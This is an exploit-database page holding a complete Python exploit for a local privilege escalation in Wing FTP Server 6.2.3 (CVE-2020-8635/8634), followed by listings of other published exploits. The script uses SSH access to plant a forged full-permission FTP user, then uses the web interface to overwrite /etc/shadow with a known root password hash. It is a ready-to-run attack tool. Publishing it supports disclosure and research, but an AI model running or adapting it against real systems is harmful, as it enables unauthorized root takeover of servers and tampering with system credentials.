Menu

Search for hundreds of thousands of exploits

"Wing FTP Server 6.2.3 - Privilege Escalation"

Author

Exploit author

"Cary Hooper"

Platform

Exploit platform

windows

Release date

Exploit published date

2020-03-02

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
# Exploit Title: Wing FTP Server 6.2.3 - Privilege Escalation
# Google Dork: intitle:"Wing FTP Server - Web"
# Date: 2020-03-02
# Exploit Author: Cary Hooper
# Vendor Homepage: https://www.wftpserver.com
# Software Link: https://www.wftpserver.com/download/wftpserver-linux-64bit.tar.gz
# Version: v6.2.3
# Tested on: Ubuntu 18.04, Kali Linux 4, MacOS Catalina, Solaris 11.4 (x86)


# Given SSH access to a target machine with Wing FTP Server installed, this program:
#	- SSH in, forges a FTP user account with full permissions (CVE-2020-8635)
#	- Logs in to HTTP interface and then edits /etc/shadow (resulting in CVE-2020-8634)
# Each step can all be done manually with any kind of code execution on target (no SSH)
# To setup, start SSH service, then run ./wftpserver.  Wing FTP services will start after a domain is created.
# https://www.hooperlabs.xyz/disclosures/cve-2020-8635.php (writeup)


#!/usr/bin/python3

#python3 cve-2020-8635.py -t 192.168.0.2:2222 -u lowleveluser -p demo --proxy http://127.0.0.1:8080

import paramiko,sys,warnings,requests,re,time,argparse
#Python warnings are the worst
warnings.filterwarnings("ignore")

#Argument handling begins
parser = argparse.ArgumentParser(description="Exploit for Wing FTP Server v6.2.3 Local Privilege Escalation",epilog=print(f"Exploit by @nopantrootdance."))
parser.add_argument("-t", "--target", help="hostname of target, optionally with port specified (hostname:port)",required=True)
parser.add_argument("-u", "--username", help="SSH username", required=True)
parser.add_argument("-p", "--password", help="SSH password", required=True)
parser.add_argument("-v", "--verbose", help="Turn on debug information", action='store_true')
parser.add_argument("--proxy", help="Send HTTP through a proxy",default=False)
args = parser.parse_args()

#Global Variables
global username
global password
global proxies
global port
global hostname
global DEBUG
username = args.username
password = args.password

#Turn on debug statements
if args.verbose:
	DEBUG = True
else:
	DEBUG = False

#Handle nonstandard SSH port
if ':' in args.target:
	socket = args.target.split(':')
	hostname = socket[0]
	port = socket[1]
else:
	hostname = args.target
	port = "22"

#Prepare proxy dict (for Python requests)
if args.proxy:
	if ("http://" not in args.proxy) and ("https://" not in args.proxy):
		print(f"[!] Invalid proxy.  Proxy must have http:// or https:// {proxy}")
		sys.exit(1)
	proxies = {'http':args.proxy,'https':args.proxy}
else:
	proxies = {}
#Argument handling ends

#This is what a <username>.xml file looks like.
#Gives full permission to user (h00p:h00p) for entire filesystem '/'.
#Located in $_WFTPROOT/Data/Users/
evilUserXML = """<?xml version="1.0" ?>
<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
    <USER>
        <UserName>h00p</UserName>
        <EnableAccount>1</EnableAccount>
        <EnablePassword>1</EnablePassword>
        <Password>d28f47c0483d392ca2713fe7e6f54089</Password>
        <ProtocolType>63</ProtocolType>
        <EnableExpire>0</EnableExpire>
        <ExpireTime>2020-02-25 18:27:07</ExpireTime>
        <MaxDownloadSpeedPerSession>0</MaxDownloadSpeedPerSession>
        <MaxUploadSpeedPerSession>0</MaxUploadSpeedPerSession>
        <MaxDownloadSpeedPerUser>0</MaxDownloadSpeedPerUser>
        <MaxUploadSpeedPerUser>0</MaxUploadSpeedPerUser>
        <SessionNoCommandTimeOut>5</SessionNoCommandTimeOut>
        <SessionNoTransferTimeOut>5</SessionNoTransferTimeOut>
        <MaxConnection>0</MaxConnection>
        <ConnectionPerIp>0</ConnectionPerIp>
        <PasswordLength>0</PasswordLength>
        <ShowHiddenFile>0</ShowHiddenFile>
        <CanChangePassword>0</CanChangePassword>
        <CanSendMessageToServer>0</CanSendMessageToServer>
        <EnableSSHPublicKeyAuth>0</EnableSSHPublicKeyAuth>
        <SSHPublicKeyPath></SSHPublicKeyPath>
        <SSHAuthMethod>0</SSHAuthMethod>
        <EnableWeblink>1</EnableWeblink>
        <EnableUplink>1</EnableUplink>
        <CurrentCredit>0</CurrentCredit>
        <RatioDownload>1</RatioDownload>
        <RatioUpload>1</RatioUpload>
        <RatioCountMethod>0</RatioCountMethod>
        <EnableRatio>0</EnableRatio>
        <MaxQuota>0</MaxQuota>
        <CurrentQuota>0</CurrentQuota>
        <EnableQuota>0</EnableQuota>
        <NotesName></NotesName>
        <NotesAddress></NotesAddress>
        <NotesZipCode></NotesZipCode>
        <NotesPhone></NotesPhone>
        <NotesFax></NotesFax>
        <NotesEmail></NotesEmail>
        <NotesMemo></NotesMemo>
        <EnableUploadLimit>0</EnableUploadLimit>
        <CurLimitUploadSize>0</CurLimitUploadSize>
        <MaxLimitUploadSize>0</MaxLimitUploadSize>
        <EnableDownloadLimit>0</EnableDownloadLimit>
        <CurLimitDownloadLimit>0</CurLimitDownloadLimit>
        <MaxLimitDownloadLimit>0</MaxLimitDownloadLimit>
        <LimitResetType>0</LimitResetType>
        <LimitResetTime>1580092048</LimitResetTime>
        <TotalReceivedBytes>0</TotalReceivedBytes>
        <TotalSentBytes>0</TotalSentBytes>
        <LoginCount>0</LoginCount>
        <FileDownload>0</FileDownload>
        <FileUpload>0</FileUpload>
        <FailedDownload>0</FailedDownload>
        <FailedUpload>0</FailedUpload>
        <LastLoginIp></LastLoginIp>
        <LastLoginTime>2020-01-26 18:27:28</LastLoginTime>
        <EnableSchedule>0</EnableSchedule>
        <Folder>
            <Path>/</Path>
            <Alias>/</Alias>
            <Home_Dir>1</Home_Dir>
            <File_Read>1</File_Read>
            <File_Write>1</File_Write>
            <File_Append>1</File_Append>
            <File_Delete>1</File_Delete>
            <Directory_List>1</Directory_List>
            <Directory_Rename>1</Directory_Rename>
            <Directory_Make>1</Directory_Make>
            <Directory_Delete>1</Directory_Delete>
            <File_Rename>1</File_Rename>
            <Zip_File>1</Zip_File>
            <Unzip_File>1</Unzip_File>
        </Folder>
    </USER>
</USER_ACCOUNTS>
"""

#Verbosity function.  
def log(string):
	if DEBUG != False:
		print(string)

#Checks to see which URL is hosting Wing FTP
#Returns a URL, probably. HTTPS preferred.  empty url is checked in main()
def checkHTTP(hostname):
	protocols= ["http://","https://"]
	for protocol in protocols:
		try:
			log(f"Testing HTTP service {protocol}{hostname}")
			response = requests.get(protocol + hostname, verify=False, proxies=proxies)
			try:
				#Server: Wing FTP Server
				if "Wing FTP Server" in response.headers['Server']:
					print(f"[!] Wing FTP Server found at {protocol}{hostname}")
					url = protocol + hostname
			except:
				print("")
		except Exception as e:
			print(f"[*] Server is not running Wing FTP web services on {protocol}: {e}")
	return url

#Log in to the HTTP interface.  Returns cookie
def getCookie(url,webuser,webpass,headers):
	log("getCookie")
	loginURL = f"{url}/loginok.html"
	data = {"username": webuser, "password": webpass, "username_val": webuser, "remember": "true", "password_val": webpass, "submit_btn": " Login "}
	response = requests.post(loginURL, headers=headers, data=data, verify=False, proxies=proxies)
	ftpCookie = response.headers['Set-Cookie'].split(';')[0]
	print(f"[!] Successfully logged in!  Cookie is {ftpCookie}")
	cookies = {"UID":ftpCookie.split('=')[1]}
	log("return getCookie")
	return cookies

#Change directory within the web interface.
#The actual POST request changes state.  We keep track of that state in the returned directorymem array.
def chDir(url,directory,headers,cookies,directorymem):
	log("chDir")
	data = {"dir": directory}
	print(f"[*] Changing directory to {directory}")
	chdirURL = f"{url}/chdir.html"
	requests.post(chdirURL, headers=headers, cookies=cookies, data=data, verify=False, proxies=proxies)
	log(f"Directorymem is nonempty. --> {directorymem}")
	log("return chDir")
	directorymem = directorymem + "|" + directory
	return directorymem 

#The application has a silly way of keeping track of paths.
#This function returns the current path as dirstring.
def prepareStupidDirectoryString(directorymem,delimiter):
	log("prepareStupidDirectoryString")
	dirstring = ""
	directoryarray = directorymem.split('|')
	log(f"directoryarray is {directoryarray}")
	for item in directoryarray:
		if item != "":
			dirstring += delimiter + item
	log("return prepareStupidDirectoryString")
	return dirstring

#Downloads a given file from the server.  By default, it runs as root.
#Returns the content of the file as a string.
def downloadFile(file,url,headers,cookies,directorymem):
	log("downloadFile")
	print(f"[*] Downloading the {file} file...")
	dirstring = prepareStupidDirectoryString(directorymem,"$2f")  #Why wouldn't you URL-encode?!
	log(f"directorymem is {directorymem} and dirstring is {dirstring}")
	editURL = f"{url}/editor.html?dir={dirstring}&filename={file}&r=0.88304407485768"
	response = requests.get(editURL, cookies=cookies, verify=False, proxies=proxies)
	filecontent = re.findall(r'<textarea id="textedit" style="height:520px; width:100%;">(.*?)</textarea>',response.text,re.DOTALL)[0]
	log(f"downloaded file is: {filecontent}")
	log("return downloadFile")
	return filecontent,editURL

#Saves a given file to the server (or overwrites one).  By default it saves a file with
#644 permission owned by root.
def saveFile(newfilecontent,file,url,headers,cookies,referer,directorymem):
	log("saveFile")
	log(f"Directorymem is {directorymem}")
	saveURL = f"{url}/savefile.html"
	headers = {"Content-Type": "text/plain;charset=UTF-8", "Referer": referer}
	dirstring = prepareStupidDirectoryString(directorymem,"/")
	log(f"Stupid Directory string is {dirstring}")
	data = {"charcode": "0", "dir": dirstring, "filename": file, "filecontent": newfilecontent}
	requests.post(saveURL, headers=headers, cookies=cookies, data=data, verify=False)
	log("return saveFile")

#Other methods may be more stable, but this works.
#"You can't argue with a root shell" - FX
#Let me know if you know of other ways to increase privilege by overwriting or creating files.  Another way is to overwrite
#the Wing FTP admin file, then leverage the lua interpreter in the administrative interface which runs as root (YMMV).
#Mind that in this version of Wing FTP, files will be saved with umask 111.  This makes changing /etc/sudoers infeasible.

#This routine overwrites the shadow file
def overwriteShadow(url):
	log("overwriteShadow")
	headers = {"Content-Type": "application/x-www-form-urlencoded"}
	#Grab cookie from server.
	cookies = getCookie(url=url,webuser="h00p",webpass="h00p",headers=headers)

	#Chdir a few times, starting in the user's home directory until we arrive at the target folder
	directorymem = chDir(url=url,directory="etc",headers=headers,cookies=cookies,directorymem="")
	
	#Download the target file.
	shadowfile,referer = downloadFile(file="shadow",url=url,headers=headers,cookies=cookies,directorymem=directorymem)

	# openssl passwd -1 -salt h00ph00p h00ph00p
	rootpass = "$1$h00ph00p$0cUgaHnnAEvQcbS6PCMVM0"
	rootpass = "root:" + rootpass + ":18273:0:99999:7:::"

	#Create new shadow file with different root password & save
	newshadow = re.sub("root(.*):::",rootpass,shadowfile)
	print("[*] Swapped the password hash...")
	saveFile(newfilecontent=newshadow,file="shadow",url=url,headers=headers,cookies=cookies,referer=referer,directorymem=directorymem)
	print("[*] Saved the forged shadow file...")
	log("exit overwriteShadow")

def main():
	log("main")
	try:
		#Create ssh connection to target with paramiko
		client = paramiko.SSHClient()
		client.load_system_host_keys()
		client.set_missing_host_key_policy(paramiko.WarningPolicy)
		try: 
			client.connect(hostname, port=port, username=username, password=password)
		except:
			print(f"Failed to connect to {hostname}:{port} as user {username}.")
		
		#Find wftpserver directory
		print(f"[*] Searching for Wing FTP root directory. (this may take a few seconds...)")
		stdin, stdout, stderr = client.exec_command("find / -type f -name 'wftpserver'")
		wftpDir = stdout.read().decode("utf-8").split('\n')[0].rsplit('/',1)[0]
		print(f"[!] Found Wing FTP directory: {wftpDir}")
		#Find name of <domain>
		stdin, stdout, stderr = client.exec_command(f"find {wftpDir}/Data/ -type d -maxdepth 1")
		lsresult = stdout.read().decode("utf-8").split('\n')
		#Checking if wftpserver is actually configured.  If you're using this script, it probably is.
		print(f"[*] Determining if the server has been configured.")
		domains = []
		for item in lsresult[:-1]:
			item = item.rsplit('/',1)[1]
			if item !="_ADMINISTRATOR" and item != "":
				domains.append(item)
				print(f"[!] Success. {len(domains)} domain(s) found! Choosing the first: {item}")
		domain = domains[0]
		#Check if the users folder exists
		userpath = wftpDir + "/Data/" + domain
		print(f"[*] Checking if users exist.")
		stdin, stdout, stderr = client.exec_command(f"file {userpath}/users")
		if "No such file or directory" in stdout.read().decode("utf-8"):
			print(f"[*] Users directory does not exist.  Creating folder /users")
			#Create users folder
			stdin, stdout, stderr = client.exec_command(f"mkdir {userpath}/users")
		#Create user.xml file
		print("[*] Forging evil user (h00p:h00p).")
		stdin, stdout, stderr = client.exec_command(f"echo '{evilUserXML}' > {userpath}/users/h00p.xml")
		#Now we can log into the FTP web app with h00p:h00p
		
		url = checkHTTP(hostname)
		#Check that url isn't an empty string (and that its a valid URL)
		if "http" not in url:
			print(f"[!] Exiting... cannot access web interface.")
			sys.exit(1)

		#overwrite root password
		try:
			overwriteShadow(url)
			print(f"[!] Overwrote root password to h00ph00p.")
		except Exception as e:
			print(f"[!] Error: cannot overwrite /etc/shadow: {e}")

		#Check to make sure the exploit worked.
		stdin, stdout, stderr = client.exec_command("cat /etc/shadow | grep root")
		out = stdout.read().decode('utf-8')
		err = stderr.read().decode('utf-8')

		log(f"STDOUT - {out}")
		log(f"STDERR - {err}")
		if "root:$1$h00p" in out:
			print(f"[*] Success!  The root password has been successfully changed.")
			print(f"\n\tssh {username}@{hostname} -p{port}")
			print(f"\tThen: su root (password is h00ph00p)")
		else:
			print(f"[!] Something went wrong... SSH in to manually check /etc/shadow.  Permissions may have been changed to 666.")

		log("exit prepareServer")
	finally:
		client.close()

main()
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS" webapps windows "Amin Rawah"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-01 "Global Registration Service 1.0.0.3 - 'GREGsvc.exe' Unquoted Service Path" local windows "Emmanuel Lujan"
2020-12-01 "Pearson Vue VTS 2.3.1911 Installer - VUEApplicationWrapper Unquoted Service Path" local windows Jok3r
2020-12-01 "Intel(r) Management and Security Application 5.2 - User Notification Service Unquoted Service Path" local windows "Metin Yunus Kandemir"
2020-12-01 "10-Strike Network Inventory Explorer 8.65 - Buffer Overflow (SEH)" local windows Sectechs
2020-12-01 "EPSON Status Monitor 3 'EPSON_PM_RPCV4_06' - Unquoted Service Path" local windows SamAlucard
2020-11-30 "YATinyWinFTP - Denial of Service (PoC)" remote windows strider
Release Date Title Type Platform Author
2020-03-02 "Wing FTP Server 6.2.3 - Privilege Escalation" local windows "Cary Hooper"
2020-03-02 "Wing FTP Server 6.2.5 - Privilege Escalation" webapps multiple "Cary Hooper"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.